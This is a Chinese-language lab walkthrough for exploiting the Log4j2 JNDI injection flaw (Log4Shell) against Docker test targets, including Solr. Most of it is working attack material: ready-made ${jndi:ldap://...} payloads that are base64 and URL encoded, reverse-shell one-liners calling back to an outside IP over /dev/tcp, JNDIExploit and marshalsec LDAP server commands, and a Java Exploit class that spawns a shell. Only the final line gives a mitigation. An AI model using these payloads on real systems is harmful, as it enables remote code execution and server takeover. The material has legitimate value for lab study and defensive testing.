Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。该工具重写了
log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组
建等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目
标服务器上执行任意代码。
范围:
Apache Struts2
Apache Solr
Apache Druid
Apache Flink
srping-boot-strater-log4j2
版本:
Apache Log4j 2.0 ~ 2.15.0-rc1
docker pull vulfocus/log4j2-rce-2021-12-09
docker run d-ti -p 28080:8080 vulfocus/log4j2-rce-2021-12-09
(2)对该域名进行URL编码。
http://171.16.1.106:8888/hello?payload=
使用burpsuite中Decoder模块进行URL编码。
使用burpsuite抓包构造payload。
https://github.com/Mr-xn/JNDIExploit-1/releases/tag/v1.2
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 171.16.1.105
nc -lvvp 8888
bash -i >& /dev/tcp/1.15.132.67/8888 0>&1
base64编码 -> url编码
YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvODg4OCAwPiYx
YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xLjE1LjEzMi42Ny84ODg4IDA%2BJjE%3D
得到反弹shell的EXP:
${jndi:ldap://1.15.132.67:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xLjE1LjEzMi42Ny84ODg4IDA%2BJjE%3D}
对EXP进行URL编码:
%24%7Bjndi%3Aldap%3A%2F%2F1.15.132.67%3A1389%2FTomcatBypass%2FCommand%2FBase64%2FYmFzaCAtaSA%252BJiAvZGV2L3RjcC8xLjE1LjEzMi42Ny84ODg4IDA%252BJjE%253D%7D
vim docker-compose.yml
把下边内容写进去。version: '2'
services:
solr:
image: vulhub/solr:8.11.0
ports:
- "8983:8983"
docker-compose up -d
http://171.16.1.106:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.v9jz7o.dnslog.cn}
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
bash -i >& /dev/tcp/1.15.132.67/9999 0>&1
ava-runtime-exec转换:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvOTA5MCAwPiYx}|
{base64,-d}|{bash,-i}
ldap://1.15.132.67:1389/n69nur
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvOTA5MCAwPiYx} | {base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://1.15.132.67:8000/#Exploit" 9999
nc -lnvp 6666
升级到最新版本 2.15.0-rc2 :
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2